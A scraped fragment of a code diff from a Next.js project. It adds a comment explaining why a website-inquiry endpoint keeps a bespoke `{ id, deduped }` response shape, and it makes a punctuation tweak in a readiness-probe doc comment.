},
|
||||||
'website inquiry captured',
|
'website inquiry captured',
|
||||||
);
|
);
|
||||||
|
// L34 carve-out: deliberate bespoke `{ id, deduped }` shape (NOT the
|
||||||
|
// `{ data }` envelope). This is the public website's intake contract —
|
||||||
|
// the external marketing site reads `id`/`deduped` off the JSON root.
|
||||||
|
// Both return sites below share this shape on purpose. Changing it
|
||||||
|
// would be a breaking cross-repo change.
|
||||||
return NextResponse.json({ id: insertResult[0].id, deduped: false });
|
return NextResponse.json({ id: insertResult[0].id, deduped: false });
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ interface ReadyResponse {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Readiness probe — verifies that every backing service this process
|
* Readiness probe - verifies that every backing service this process
|
||||||
* needs to serve traffic is reachable. A 503 should drop the pod from the
|
* needs to serve traffic is reachable. A 503 should drop the pod from the
|
||||||
* load balancer until the next probe succeeds; it should not trigger a
|
* load balancer until the next probe succeeds; it should not trigger a
|
||||||
* pod restart (that's what `/api/health` is for).
|
* pod restart (that's what `/api/health` is for).
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user